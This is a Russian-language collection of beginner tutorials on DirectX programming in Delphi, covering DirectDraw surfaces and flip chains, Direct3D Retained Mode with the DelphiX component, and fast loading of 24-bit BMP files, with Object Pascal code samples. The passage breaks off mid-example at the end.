Кстати пример с JEDI-заголовками хорош тем, что демонстрирует создание объекта IDirectDraw получение ссылки на интерфейс IDirectDraw4 вызовом метода QueryInterface из IDirectDraw (IDirectDraw без номера – базовый (и самый старый) интерфейс DirectDraw; IDirectDraw4 – интерфейс из DirectX 6). Вообще объект IDirectDraw – это самая, что ни на есть, сердцевина DirectDraw – он представляет собой некую абстракцию над видеоадаптером – с помощью его методов создаются все остальные объекты DirectDraw (Surface'ы, палитры и т.д.). В принципе можно создавать больше одного объекта IDirectDraw – если у Вас больше одного видеоадаптера и несколько мониторов – в таком случае Вы ровно во столько раз круче меня, на сколько число Ваших видеоадаптеров больше 1-го :-) (для знатоков COM-технологии – для этого при создании объекта DirectDraw нужно передать GUID другого дисплея). Если же монитор у Вас один Вы можете создавать несколько объектов DirectDraw – все они будут управлять одним и тем же видеоадаптером – но мы этот случай рассматривать не будем.

В случае же если Вы используете Hori'вский компонент DelphiX – мучения с инициализацией и деинициализацией сводятся к нулю – достаточно просто разместить на форме компонент DXDraw – он сам позаботится о мелочах жизни, вроде create и release. :-)

Итак, переключаться между видеорежимами мы научились.

Поговорим теперь о Surface'ах. (моя попытка найти хороший русский эквивалент этому слову, не увенчалась успехом). Surface (объект DirectDrawSurface) – в буквальном переводе поверхность, представляет собой линейный участок в видеопамяти. (впрочем можно создавать Surface'ы и в системной памяти – но мы на этом не станем задерживаться) По умолчанию Surface создается так, чтобы получить максимальное быстродействие – в видеопамяти, если ее не хватает – в нелокальной видеопамяти (для плат AGP) а если и ее не хватает то в системной памяти (этот случай самый медленный). Объект DirectDrawSurface кроме указателя на область видеопамяти содержит несколько очень полезных методов (и зверски скоростных) для быстрого переноса квадратика видеоизображения из одного участка Surface'а в другой (blitting), для быстрой смены одного Surface' а на экране другим – fliping, для работы с палитрами и спрайтами и др.

Ну как удалось мне вас заинтересовать? Ну тогда давайте разберемся – как эти самые замечательные Surface'ы создавать. Перво-наперво скажем что у каждого Surface'а должен быть размер - ширина и высота. Кроме того Surface'ы устроены так, что между началом одной строчки и другой расстояние не всегда равное ширине. Скажем мы создали Surface 640X480X8 – казалось бы между первой строчкой и второй ровно 640 байт – ан нет. Может 640 байт а может и больше (это завист от того парня, который писал драйвер Вашего видеоадаптера). Расстояние между строчками в байтах называется Pitch – переводится как шаг. Почему этот самый Pitch не всегда равен ширине видно из рисунка:

Видите – справа от нашего Front-bufera может быть какой-то кэш, если Вы вздумаете писать напрямую в видеопамять – писать туда (в кэш) строго не рекомендуется (за последствия никто не ручается). Кроме того Pitch, в отличие от ширины измеряется в байтах а не в пикселах.

Раз уж заговорили, про Front-bufer'ы – скажем уж и про то, что один Surface, называемый PrimarySurface, является главным - это тот самый Surface, который был виден на экране в момент когда мы начали создавать эти самые Surface'ы.

Surface'ы могут быть обьединены в так называемые flip-цепочки. Когда происходит flip между Surface'ами – тот Surface, что сейчас на экране, заменяется следующим в цепочке, на следующем flip'е – этот – следующим и т.д. – если дошли до последнего в цепочке – то он заменяется на первый. Ну в обычной жизни цепочка может состоять из всего двух Surface' ов – при каждом они просто flip'е сменяют друг друга. Обратите внимание – при flip'е смена Surface'ов происходит не в результате пересылки всего их содержимого, а просто в результате изменения указателей на области видеопамяти в видеоадаптере – поэтому flip выполняется очень быстро. (Исключение может быть только в случае если Вы создали столько Surface'ов, что они не поместились в видеопамяти – тогда за дело возьмется HEL – бедняге придется все это эмулировать и скорость будет – не ахти). C помощью flip можно создавать анимацию, выводим какую-то картинку, затем в BackBuffer'e – чуть-чуть меняем эту картинку, вызываем flip, чуть-чуть меняем картинку в BackBuffer'e, вызываем flip и т.д. в цикле.
Вот пример создания Flip-цепочки из двух Surface'ов, обьектов IDirectDrawSurface4.

(Ссылки на два созданных Surface'а сохраняются в переменных FPrimarySurface и FbackSurface)
(этот пример взят из моей демо-программульки, которую Вы может скачать здесь 169K)
{используются JEDI – заголовки DirectX}

uses ... DDraw;
var
  hr: HRESULT;
  SurfaceDesc: TDDSurfaceDesc2;
  DDSCaps: TDDSCAPS2;
  DD: IDirectDraw;
begin
  ///  ...начнем, помолясь
  hr := DirectDrawCreate(nil, DD, nil); ///создали DirectDraw
  if (hr = DD_OK) then
  begin
    // Получим интерфейс IDirectDraw4
    DD.QueryInterface(IID_IDirectDraw4, FDirectDraw);
    // интерфейс DirecDraw1 нам больше не нужен
    DD := nil;
    // Установим эксклюзивный уровень кооперации и полноэкранный режим
    hr := FDirectDraw.SetCooperativeLevel(Handle, DDSCL_EXCLUSIVE or
      DDSCL_FULLSCREEN);
    if (hr = DD_OK) then
    begin
      hr := FDirectDraw.SetDisplayMode(640, 480, 8, 0, 0);
        ///переключаем видеорежим на 640X480X8
      if (hr = DD_OK) then
      begin
        // Создаем главный surface с одним back buffer'ом
        FillChar(SurfaceDesc, SizeOf(SurfaceDesc), 0);
        SurfaceDesc.dwSize := SizeOf(SurfaceDesc);
        ///говорим что нам нужны back buffer'ы
        SurfaceDesc.dwFlags := DDSD_CAPS or DDSD_BACKBUFFERCOUNT;
        ////говорим что создаем первый Surface
        SurfaceDesc.ddsCaps.dwCaps := DDSCAPS_PRIMARYSURFACE
          or DDSCAPS_FLIP //// во Flip-цепочке
        or DDSCAPS_COMPLEX; //// а вообще будут и дополнительные Surface'ы
        //// число этих самых дополнительных - 1
        SurfaceDesc.dwBackBufferCount := 1;
        ///все готово, создаем Surface'ы и запоминаем главный в FPrimarySurface
        hr := FDirectDraw.CreateSurface(SurfaceDesc, FPrimarySurface, nil);
        if (hr = DD_OK) then
        begin
          // А теперь получим указатель на back buffer (создали-то два Surface'a сразу)
          ddscaps.dwCaps := DDSCAPS_BACKBUFFER;
          ///получили и запомнили в FBackSurface
          hr := FPrimarySurface.GetAttachedSurface(ddscaps, FBackSurface);
          if (hr = DD_OK) then
          begin
            {Все нормально - Surface'ы созданны - выходим}
            exit;
          end;
        end;
      end;
    end;
  end;
  {где-то была ошибка - сообщаем об этом неприятном факте}
  MessageBox(Self.Handle, PChar('Не удалось инициализировать DirectDraw! ' +
    ErrorString(Hr)), 'ERROR', MB_OK);
  Close();
end;

Создали Surface'ы. Теперь было бы интересно что-нибудь на них нарисовать. Интересно также попробовать писать прямо в видеопамять.
Получить указатель на область видеопамяти Surface'а можно вызвав метод Lock – он вернет указатель в структуре типа TDDSURFACEDESC2, которую получает в качестве параметра.

С фантазией у меня всегда было не очень – поэтому просто заполню всю область Surface'ов одним цветом, записав в видеопамять одно и тоже значение.

var
  i, j: integer;
  AdresVideo: PByteArray;
  SurfaceDesc: TDDSURFACEDESC2;
  HR: HResult;
begin
  // Пишем прямо в видеопамять
  FillChar(SurfaceDesc, SizeOf(SurfaceDesc), 0);
  SurfaceDesc.dwSize := SizeOf(SurfaceDesc);
  HR := FPrimarySurface.Lock(nil, SurfaceDesc, {DDLOCK_WAIT or}
    DDLOCK_SURFACEMEMORYPTR, 0);
  if (HR = DD_OK) then
  begin
    AdresVideo := SurfaceDesc.lpSurface;
    for i := 0 to SurfaceDesc.dwHeight - 1 do
    begin
      for j := 0 to SurfaceDesc.dwWidth - 1 do
      begin
        AdresVideo[j + i * SurfaceDesc.lPitch] := $FF;
      end;
    end;
    FPrimarySurface.Unlock(nil);
  end;
end;

Обратите внимание - какой я аккуратный – перехожу между строчками, учитывая Pitch. Да кстати – я просто демонстрирую как обратится к каждому байту видеопамяти Surface'a на самом деле если нужно закрасить весь Surface одним цветом то заносить значения в каждый байт слишком медленно – для этого можно воспользоваться методом IDirectDrawSurface4.Blt, передав ему флаг DDBLT_COLORFILL. Кроме того можно выводить на Surface и привычными функциями GDI – TextOut'ом например:

var
  DC: HDC;
begin
  if (FPrimarySurface.GetDC(DC) = DD_OK) then
  begin
    {Выводим текст на 1-й surface, используя GDI-фуекцию TextOut}
    SetBkColor(DC, RGB(255, 255, 255));
    SetTextColor(DC, RGB(255, 0, 0));
    TextOut(DC, 10, 20, ' Проба пера', Length(' Проба пера'));
    FPrimarySurface.ReleaseDC(DC);
  end;
end;

Небольшое лирическое отступление – между вызовами LOCK и UNLOCK, а также между GetDC и ReleaseDC выполнение всех других программ останавливается (в том числе и отладчика). Отсюда выводы – первое – не стоит делать что-то слишком долго между этими вызовами, второе, отладить программу пошагово между этими вызовами – невозможно (если только Вы не вооружились Kernel-debuger'ом).

Теперь попробуем flip'ануть наши Surface'ы. Переключимся на другой Surface

hr := FPrimarySurface.Flip(nil, 0);

Метод Flip может отказаться flip'овать и вернуть, среди прочих, такие коды ошибок:
DDERR_NOEXCLUSIVEMODE – этот код возврата означает, что наша программа потеряла эксклюзивный режим. Произойти такое может, если мы flip'уем в цикле по таймеру, а пользователь зачем-то ушел из нашей программы, свернув ее или нажав Alt-TAB. В таком случае, чтобы зря не тратить процессорные циклы, лучше подождать его возвращения, вызывая функцию Sleep(0) или WaitMessage.
DDERR_SURFACELOST – потеря Surface'ов пользователь уходил, но вернулся, Surface'ы нужно забрать назад, вызвав IDirectDraw4.RestoreAllSurfaces, содержимое их придется восстановить.
Все вышесказанное касается классического стиля использования DirectDraw в стиле С от JEDI. Поклонники же Hori'вского набора DelphiX могут поэкспериментировать c Surface'ами используя TDXDraw.DDraw.SurfaceCount, TDXDraw.DDraw.Surfaces, TDXDraw.Flip – вместе с набором компонент распространяются отличные примеры.

Я очень рад, что Вы дочитали до этого места (если Вы просто пролистали в конец, не читая, сделайте вид, что это не так, порадуйте меня, старика) :-).
На этом пока все. Если Вы заинтересовались – скачайте демо-программку и поэкспериментируйте.
Пишите мне – aziz@telebot.com или error@softhome.net – с удовольствием приму Ваши пожелания и предложения (особенно если предложите какую-нибудь работу) :-).

Автор: Азиз (JINX)

Взято с http://delphiworld.narod.ru


DirectX и Delphi

Перед тем как приступить я хотел бы сделать пару оговорок. Во-первых для использования DirectX в Delphi необходим файл с заголовками, где объявлены имена функций DirectX API либо какой-нибудь компонент, позволяющий обращаться к интерфейсу DirectX через свои методы. В момент написания сего опуса я использую компонент DelphiX (автор - Hiroyuki Hori), распространяемый бесплатно - http://www.yks.ne.jp/~hori/DelphiX-e.html. (если у вас есть что-нибудь получше и Вы поделитесь со мной - я буду очень признателен.)
И еще один адрес, по которому можно скачать компонент DelphiX : http://www.torry.ru/vcl/packs/hhdelphix.zip

По возможности я буду писать и названия методов DelphiX и названия соответствующих интерфейсов Directx API – чтоб вам легче было ориентироваться в DirectX SDK. Во-вторых при всем своем гипертрофированном самомнении я не могу назвать себя экспертом в области DirectX – так что не судите чересчур строго. Я надеюсь сие творение хоть как то сможет помочь делающим первые шаги в DirectX – если Вы круче меня – буду признателен за помощь и указание на ошибки (коих увы наверняка сделал немало (честное слово не нарочно :-) ) Оговорка без номера – я пишу эти строки в те времена когда последней версией DirectX является DirectX 6.

Ну что ж приступим пожалуй.

Как известно DirectX предназначен в основном для программирования игр под Windows 9x. Тем не менее можно придумать еще не мало ему применений (рано или поздно грядет таки эра повсеместного трехмерного пользовательского интерфейса). DirectX состоит из следующих компонентов:

· DirectDraw® - предназначен для программирования всевозможных анимаций за счет быстрого доступа к изображению на экране и к видеопамяти, а также за счет использования возможностей аппаратуры (видеоадаптера) по манипуляции с буферами.

· DirectSound® - как видно из названия позволяет выводить звук, используя все что можно выжать из Вашей звуковой карты (ну почти все)

· DirectMusic™ - музыка. В отличие от DirectSound работает не с оцифрованным звуком (WAV) а с музыкальными командами, посылаемыми звуковой карте.

· DirectPlay® - упрощает жизнь программиста, решившегося добавить в своей программе возможность совместной работы (игры) по сети и по модему. (это наверняка хорошо знакомо любому геймеру)

· Direct3D® (мой любимый J) – содержит высокоуровневый интерфейс Retained Mode позволяющий легко выводить 3-хмерные графические обьекты, и низкоуровневый интерфейс Immediate Mode предоставляющий полный конроль над рендерингом. (если кто-нибудь знает как будет рендеринг по-русски – мой адрес в конце статьи)

· DirectInput® - поддержка устройств ввода. Пока джойстик, мышь, клавиатура и т.д. – впрочем можете быть уверены – если появится еще что – за Microsoft не заржавеет.

· DirectSetup – предназначен для установки DirectX.

· AutoPlay – самый обычный AutoPlay – позволяет запускать какую-нибудь программу (инсталяшку или саму игру) при установке CD-диска в дисковод. Вообще-то описание AutoPlay относится к Win 32 SDK и просто повторяется в DirectX SDK (думаю Microsoft включила его в DirectX SDK просто чтоб оно было под рукой у разработчика)

Кое что о Direct3DRM®. (Reatined Mode)

Система координат
В Direct3D она соответствует так называемому правилу "левой руки". Суть правила в том, что если Вы растопырите пальцы левой руки так, что указательный палец будет направлен к экрану, большой к потолку, а средний параллельно столу туда, где обычно лежит мышиный коврик, то большому пальцу будет соответствовать координата Y, среднему – X, указательному Z. Говоря короче координата Z направлена как бы вглубь экрана (я во всяком случае нахожусь по эту его сторону :-)), координата Y – вверх, координата X – вправо (все рисунки из SDK). Возможно Вам это покажется непривычным. А что Вы тогда скажите на это – в DirectX цвета задаются тремя составляющими R,G,B, каждая из которых – число с плавающей точкой в диапазоне [0-1]. Например белый цвет – (1,1,1), серенький (0.5,0.5,0.5), красный (1,0,0) ну и т.д.

Все трехмерные объекты задаются в виде набора (mesh) многоугольников (граней – faces). Каждый многоугольник должен быть выпуклым. Вообще-то лучше всего использовать треугольники – более сложные многоугольники все равно будут разбиты на треугольники (на это уйдет столь драгоценно процессорное время). Грани (faces) состоят из вершин (vertex).

Грань становится видимой если она повернута так, что образующие ее вершины идут по часовой стрелке с точки зрения наблюдателя. Отсюда вывод – если Ваша грань почему-то не видна – переставьте вершины так, чтоб они были по часовой стрелке. Кроме того имеются другие объекты – источники света (прямой свет - directional light и рассеянный свет – ambient light), т.н. камера, текстуры, которые могут быть "натянуты" на грани и прочая, прочая… Наборы объектов составляют т.н. frames (затрудняюсь дать этому русское название). В Вашей программе всегда будет хоть один главный frame, называемый сцена (scene), не имющий фрейма-родителя, остальные фреймы принадлежат ему или друг другу. Я не буду долго разговаривать о том, как инициализировать все это хозяйство, для Дельфи-программиста достаточно разместить на форме компонент TDXDraw из библиотеки DelphiX.

Перейдем однако к делу. Запустите-ка Дельфи и откройте мою (честно говоря не совсем мою – большую часть кода написал Hiroyuki Hori – однако не будем заострять на этом внимание :-)) учебную программку - Sample3D.
Найдите метод

TMainForm.DXDrawInitializeSurface.

Этот метод запускается при инициализации компонента TDXDraw. Обратите внимание, что DXDraw инкапсулирует D3D, D3D2, D3Ddevice, D3DDevice2, D3DRM, D3DRM2, D3DRMDevice, D3DRMDevice2, DDraw – ни что иное как соответствующие интерфейсы DirectX. (только в названиях интерфейсов Microsoft вместо первой буквы D слово IDirect). Инициализация компонента очень подходящее место, чтоб выбрать кое какие режимы (что и делается в программке). Обратите внимание на DXDraw.D3DRMDevice2.SetRenderMode(D3DRMRENDERMODE_BLENDEDTRANSPARENCY or D3DRMRENDERMODE_SORTEDTRANSPARENCY); - Эти два флага установлены вот для чего – если у нас два треугольника находятся один под другим и оба видны (т.е. вершины у них по часовой) нужно их сперва отсортировать по координате Z чтоб понять кто кого загораживает. Включает такую сортировку флаг, названный скромненько эдак, по Microsots-ки: D3DRMRENDERMODE_SORTEDTRANSPARENCY. Однако как говаривал К. Прутков – смотри в корень. Корнем же у нас является метод

TMainForm.DXDrawInitialize(Sender: TObject);

Здесь сначала создаются два фрейма – Mesh и Light, для нашего видимого объектика и для лампочки, его освещающей.

MeshFrame.SetRotation(DXDraw.Scene, 0.0, 10.0, 0.0, 0.05);

(первые три цифры – координаты вектора вращения, последний параметр – угол полворота) . Тонкое (не очень правда :-)) отличие между методами SetRotation и AddRotation в том, что AddRotation поворачивает объект только один раз, а SetRotation – заставляет его поворачиваться на указанный угол при каждом следующей итерации (with every render tick) Потом создается т.н. MeshBuilder – специальный объект, инкапсулирующий методы для добавления к нему граней. Этот обьект может быть загружен из файла (и естественно сохранен в файл). По традиции файлы имеют расширение X. (насколько мне извесно эта традиция возникла еще до появления сериала X-Files :-)) В самом же деле – в конце 20 века задавать координаты каждого треугольника вручную… Можно заставит сделать это кого то еще – а потом просто загрузить готовый файл :-). Ну а если серьезно в DirectX SDK входит специальная утилита - conv3ds. {conv3ds converts 3ds models produced by Autodesk 3D Studio and other modelling packages into X Files. }

Однако создадим объект вручную – ну их эти Х-файлы. Наш объект будет состоять из 4-х граней (ни одного трехмерного тела с меньшим количеством граней я не смог придумать). Естественно каждая грань – треугольник, имеющий свой цвет.

MeshBuilder.Scale(3, 3, 3); - Увеличиваем в три раза по всем координатам.

Наконец MeshFrame.AddVisual(MeshBuilder); - наш MeshBuilder готов, присоединяем его как визуальный объект к видимому объекту Mesh.

DXDraw.Scene.SetSceneBackgroundRGB(0,0.7,0.7); -

Как понятно из названия метода цвет фона. (Видите – я не врал RGB-цвет действительно задается числами с плавающей точкой :-)) Интересные дела творятся в методе TMainForm.DXTimerTimer. (небольшая тонкость – это не обычный таймер, а DXTimer из библиотеки DelphiX)

DXDraw.Viewport.ForceUpdate(0, 0, DXDraw.SurfaceWidth,
  DXDraw.SurfaceHeight);

указываем область, которую нужно обновить (не мудрствуя лукаво – весь DXDraw.Surface)

DXDraw.Scene.Move(1.0);

- применяем все трехмерные преобразования, добавленные методами вроде AddRotation и SetRotation к нашей сцене. (вот где собака то порылась… :-) вычисления новых координат точек начнутся не сразу после метода AddRotation а только здесь)
DXDraw.Render – Рендерим (ну как же это по русски то? :-))
DXDraw.Flip – выводим результат рендеринга на экран (аминь :-));

(в этом методе помещены также несколько строк, выводящих на экран число кадров в секунду и информацию о поддержке Direct3D аппаратурой или программно – пригодится при отладке) Метод FormKeyDown.

Здесь проверяется код нажатой клавиши – если Alt+Enter – переходим из оконного в полноэкранный режим (клево, правда? :-)) и наоборот. Напоследок пара слов о DXDrawClick.

Просто выводим FileOpenDialog – Вы можете поэкспериментировать с x-файлами. Пока все. Вот уж не думал, что это будет так трудно. Надеюсь хоть кто-то дочитал до этого места.

Пишите: aziz@telebot.net, error@softhome.net

Автор: Азиз (JINX)

Взято с http://delphiworld.narod.ru


DirectX для начинающих. Считывание и запись

Привет всем, кто интересуется программированием под DirectX на языке Object Pascal!

Как и обещал, я продолжаю искать новый материал по DirectX, переводить его на язык Object Pascal и представлять всеобщему вниманию. Недавно у меня появилась идея снятия скриншотов с экрана DirectDraw-программы и записи изображения в простой bmp-файл - некоторые игры позволяют это делать, и я решил последовать их примеру. Потом я наткнулся на другой интересный материал - речь шла о загрузке изображения из bmp-файла без использования функции LoadImage(). Поэтому тема статьи всецело посвящена работе с bmp-файлами на "низком уровне". Замечу, что это немного сложные вещи, но мы ведь сложностей не боимся, правда? Иначе непонятно, зачем тогда заниматься изучением DirectX вообще.

Замечания

Каждому примеру для нормальной работы необходимо, чтобы файл data.bmp находился в том же каталоге, что и исполняемый файл. Для экономии места в архиве я разместил этот файл в папке первого примера, поэтому вам надо будет скопировать его и в остальные папки.

Немного изменилась реализация модуля ddutils.pas - теперь функция CreateSurface() не требует адрес главного интерфейса IDirectDraw, а создаёт и уничтожает локальный интерфейс. Возможно, более практично с точки зрения Pascal-программирования было бы объявить глобальный для модуля ddutils.pas интерфейс IDirectDraw, а для создания и удаления интерфейса воспользоваться секциями initialization и finalization модуля.

Также немного изменился стиль написания программ, теперь он совсем грешит С-подобным кодом :-)

FASTFILE1

В этом примере я попытаюсь показать, как произвести загрузку растра из bmp-файла методом, отличным от того, что применялся в предыдущих уроках. Напомню, как в общих чертах выглядела схема загрузки ранее:

С помощью функции LoadImage() загружался растр и нам сообщался идентификатор загруженного растра в виде переменной типа HBITMAP;
Функцией SelectObject() в контекст-источник выбирался созданный растр;
Методом IDirectDrawSurface7.GetDC() создавался GDI-совместимый дескриптор контекста-приёмника и осуществлялась блокировка поверхности;
Функцией GDI BitBlt() содержимое контекста-источника копировалось на контекст-приёмник.
Методом IDirectDrawSurface7.ReleseDC() удалялся созданный контекст и осуществлялась разблокировка поверхности.
В чём недостатки такого подхода? В универсальности. Не скажу, что функция LoadImage() очень медленная, но и очень быстрой она не является. Во всяком случае, программисты, писавшие её, не ставили своей задачей обеспечить максимальную скорость загрузки. Посмотрите справку по этой функции (файл win32sdk.hlp) - обилие параметров и констант, задаваемых при вызове, наводят на мысль о том, что она довольно "тяжеловесна". В частности, сказано, что с её помощью можно загружать не только растры из bmp-файлов разных форматов (в их число входят монохромные, 16- и 256-цветные палитровые файлы, а также беспалитровые 24-битные файлы), но и файлы иконок Windows и даже файлы, содержащие изображения курсоров.

Естественно, всё это отрицательно сказывается на скорости загрузки - метод получается простым, но не самым эффективным. Поэтому часто программисты пишут собственные быстрые функции для загрузки файлов какого-то определённого формата. В этом примере я реализовал отдельную функцию, которая предназначена для загрузки данных из 24-битного беспалитрового файла формата bmp.

Прежде чем приступить к рассмотрению работы функции, необходимо в общих чертах представить себе, каким образом записывается информация в bmp-файле. На рис. 1 показана структура беспалитрового 24-битного файла.

Хранящийся на диске файл DIB, обычно с расширением .bmp, как видно, начинается со структуры BITMAPFILEHEADER, позволяющей начать работу с файлом. Вот как эта структура описана в файле windows.pas:

tagBITMAPFILEHEADER = packed record
  bfType: Word;      // Тип файла. Должен содержать 'BM' ($4d42)
  bfSize: DWORD;     // Размер файла в байтах
  bfReserved1: Word; // Зарезервировано, должен быть нуль
  bfReserved2: Word; // Зарезервировано, должен быть нуль
  bfOffBits: DWORD;  // Смещение от начала файла до гафических данных
end;
BITMAPFILEHEADER = tagBITMAPFILEHEADER;

Следом за структурой BITMAPFILEHEADER следует стуктура BITMAPINFO:

tagBITMAPINFO = packed record
  bmiHeader: TBitmapInfoHeader; // Структура BITMAPINFOHEADER
  bmiColors: array[0..0] of TRGBQuad; // RGB-триплекс
end;
BITMAPINFO = tagBITMAPINFO;

Фактически, стуктура BITMAPINFO включает в себя ещё одну структуру - BITMAPINFOHEADER:

tagBITMAPINFOHEADER = packed record
  biSize: DWORD; // Размер самой структуры в байтах
  biWidth: Longint; // Ширина растра в пикселях
  biHeight: Longint; // Высота растра в пикселях
  biPlanes: Word; // Количество плоскостей (всегда 1)
  biBitCount: Word; // Количество бит на 1 пиксель
  biCompression: DWORD; // Тип сжатия (BI_RGB - без сжатия)
  biSizeImage: DWORD; // Размер изображения в байтах (обычно 0)
  biXPelsPerMeter: Longint; // А эти данные
  biYPelsPerMeter: Longint; // нам вообще
  biClrUsed: DWORD; // никогда не
  biClrImportant: DWORD; // понадобятся :)
end;
BITMAPINFOHEADER = tagBITMAPINFOHEADER;

Эта структура для нас наиболее интересна, так как опираясь на её данные, и будет производиться загрузка растра. Несмотря на обилие полей, нам понадобятся только некоторые - это biWidth, biHeight и ещё поле biBitCount - для проверки, является ли файл 24-битным.

После этих структур начинаются графические данные. В 24-битном файле каждый пиксель кодируется 3 байтами - на каждую составляющую R, G, B - по одному байту. Значение каждой составляющей может варьироваться от 0 до 255.

Откройте файл проекта и найдите функцию LoadData(). Она вызывает другую функцию - LoadBitMap(). Я разместил её в файле ddutils.pas, вот её прототип

function LoadBitMap(name: pchar; pbi: PBITMAPINFO): pointer;

Первым параметром передаётся имя загружаемого файла, вторым - адрес структуры BITMAPINFO, структура понадобится после вызова функции LoadBitMap().

Для считывания данных с диска я использую API-функции, предоставляемые ОС, а не библиотечные функции Delphi. Причина - немного более высокое быстродействие, при том, что сами функции просты в обращении и предоставляют некоторые средства контроля при чтении-записи.

Вот как, например, открывается файл:

hFile := CreateFile(name, GENERIC_READ, FILE_SHARE_READ, nil,
  OPEN_EXISTING, 0, 0);
if hFile = INVALID_HANDLE_VALUE then
  exit;

Переменная hFile - это дескриптор открытого файла. Проверить, открыт ли он в самом деле можно, сравнив дескриптор с константой INVALID_HANDLE_VALUE. Далее считывается структура BITMAPFILEHEADER:

ReadFile( hFile, bfh, sizeof( BITMAPFILEHEADER ), dwBytesRead, nil );

Замечу, что вторым параметром функции ReadFile() передаётся сама структура, куда будут записаны данные, третьим - количество байт, которые надо прочитать. Четвёртые параметр должен присутствовать обязательно, в него функция запишет количество реально прочитанных байт. Для пущей надёжности можно сравнить это значение с размером структуры BITMAPFILEHEADER, и если значения не совпадают, объявить об ошибке.

Далее считывается структура BITMAPINFOHEADER:

ReadFile( hFile, bi, sizeof( BITMAPINFOHEADER ), dwBytesRead, nil );

Думаю, надо объяснить, почему здесь мы читаем только данные структуры BITMAPINFOHEADER, и не считываем массив bmiColors. Дело в том, что этот массив в структуре BITMAPINFO, там, куда мы её передадим позже, всё равно не используется. Однако он входит в состав общих графических данных, поэтому мы считаем его вместе с ними, а в структуре bi массив bmiColors оставим пустым.

Далее идёт считывание графических данных. Прежде всего необходимо определить, какой размер они имеют:

// Определяем размер DIB
dwDIBSize := GetFileSize( hFile, nil ) - sizeof( BITMAPFILEHEADER ) - sizeof( BITMAPINFOHEADER );

То есть от размера bmp-файла отнимаются размеры описанных выше структур. Замечу, что для палитровых файлов придётся учитывать ещё и размер палитры. Далее, выделяется участок в оперативной памяти нужной длины и получается указатель на него:

// Выделяем участок памяти
result := pbyte(GlobalAllocPtr( GMEM_MOVEABLE, dwDIBSize ));

После этого в память считываются битовые данные, формирующие картинку, и файл закрывается:

// Читаем данные DIB
ReadFile(hFile, result^, dwDIBSize, dwBytesRead, nil);
// Закрываем файл
CloseHandle(hFile);

Описанная функция работает только с 24-битными несжатыми растрами. Использование 256-цветных палитровых файлов я считаю нецелесообразным, т. к. качество изображения в них не удовлетворяет требованиям современной компьтерной графики.

Итак, функция LoadBitMap() загрузила в оперативную память битовые данные, формирующие изображение и вернула указатель на них как результат функции. Вернёмся теперь обратно к функции LoadData(). Первый шаг сделан - произведена максимально быстрая загрузка данных из файла (я не вижу способа, как можно ещё как-нибудь ускорить этот процесс). Теперь надо сделать второй шаг. В чём он состоит? Для ускорения загруки в играх и других программах все графические данные объединяются в один или несколько больших файлов. Такую реализацию, например, можно увидеть в игре Donuts из DirectX SDK 7-8. Такое объединение очень полезно при условии, что файл на жестком диске нефрагментирован. Данный метод, безусловно, уменьшает время загрузки, но как будет видно далее, добавляет лишних хлопот программисту.

Я подготовил простой bmp-файл, в котором хранится изображение для фона и десять "кадров", которые будут последовательно сменять друг друга. Как же загрузить эти данные на поверхности DirectDraw? Есть два пути:

Воспользоваться методами Lock() и Unlock() интерфейса IDirectDrawSurface7, и осуществлять прямое копирование данных функцией CopyMemory(). Это решение оптимально по скоростным характеристикам, но уж очень сложное: необходимо учитывать абсолютно все нюансы формата поверхности, на которую копируются данные - а их очень много, ведь формат меняется в зависимости от глубины цвета текущего видеорежима - 8, 16, 24, 32 бит. К тому же, выигрыш в этом случае может оказаться совсем небольшим.
Использовать функцию GDI StretchDIBits(). Она предназначена для копирования в контекст данных, расположеных не в другом контексте, а находящихся просто в указаннном участке памяти. Может сложиться впечатление, что эта функция достаточно медленна - из-за угрожающей приставки "Stretch". Однако если будут копироваться участки битов, одинаковые по высоте и ширине, то в этом случае функция, думается, должна работать быстрее.
Я решил использовать второй способ. Итак, первым делом создадим поверхность для фона:

CreateSurface( g_pWallpaper, 640, 480 );

После этого получим контекст для поверхности и осуществим копирование функцией StretchDIBits(). В файле справки о методе IDirectDrawSurface7.GetDC() сказано, что он является надмножеством над методом IDirectDrawSurface7.Lock() - т. е. осуществляет те же операции, которые мы бы проделали при прямом копировании данных. Различие в том, что здесь DirectDraw учитывает особенности формата поверхности при создании контекста-приёмника. Думаю, нет необходимости дублировать эти операции - выигрыш в скорости может оказаться весьма сомнительным, т.к. код в библиотеке DirectDraw и без того максимально быстр.

if g_pWallpaper.GetDC(DC) = DD_OK then
begin
  // Копируем битовый массив в контекст
  StretchDIBits(DC,
    0, 0, 640, 480,
    0, 64, 640, 480,
    pBits, bi,
    0, SRCCOPY);
  g_pWallpaper.ReleaseDC(DC);
end;

Заметьте, что растр в файле (и памяти) хранится в перевёрнутом виде, поэтому ось Y битовой карты направлена вверх. Это необходимо учитывать при задании области копирования. Для копирования массива битов функции StretchDIBits() необходимо передать адрес массива в памяти, а также адрес структуры BITMAPINFO - опираясь на неё, она сможет правильно произвести копирование.

Далее 10 раз осуществляется копирование в отдельные поверхности массива g_pMovie. Опять же, необходимо учитывать, что строки растра перевёрнуты. После этого необходимо освободить участок системной памяти, где хранится битовый массив:

// Освободили битовый массив!
pBits := nil;

Вот и всё, можно приступать к отрисовке экрана.

Вообще такая схема объединения всех данных в один большой или несколько больших файлов оправдана в крупных программах и играх - там, где набор различных изображений достигает сотен штук. На этапе черновой разработки целесообразно загружать растры из отдельных файлов, а в конце, перед релизом программы, в процессе доводки и оптимизации, объединить всё в один большой файл. При этом придётся немного поработать в графическом редакторе, разместив отдельные растры оптимальным способом, не оставляя "пустых" мест. Также целесообразно подготовить массив типа TRect, которыи будет описывать область каждой картинки в этом растре, и пользоваться им в функции загрузки.

FASTFILE2

Предыдущий пример продемонстрировал способ ускорить загрузку файла в память. Однако перенос данных на конкретные поверхности усложнился, да и постоянный вызов функции StretchDIBits() должен отрица- тельно сказаться на времени копирования.

Чтобы не копировать каждый раз содержимое нового участка памяти на отдельную поверхность DirectDraw функцией StretchDIBits(), я решил все данные из памяти скопировать на одну большую поверхность DirectDraw, а потом копировать её содержимое по участкам на другие поверхности методом IDirectDrawSurface7.BltFast(). Казалось бы, такое двойное копирование - из памяти на общую поверхность, а потом с этой поверхности на отдельные поверхности - довольно долгий процесс. Однако если память видеокарты достаточно большая (32-64 Мб), можно позволить программе разместить все созданные поверхности в памяти видеокарты, и тогда копирование методом IDirectDrawSurface7.BltFast() будет происходить очень быстро. При большом объёме графических данных этот способ предпочтителен. К тому же данные на общей поверхности DirectDraw хранятся в нормальном, а не перевёрнутом виде, что облегчает программисту перенос.

Этот способ и демонстрирует данный проект. Всё остальное осталось без изменений.

Наконец, существует ещё один, наиболее эффективный путь. Можно не заниматься копированием растра с общей на отдельные поверхности, а переносить растр на дополнительный буфер прямо с общей поверхности.

Например:

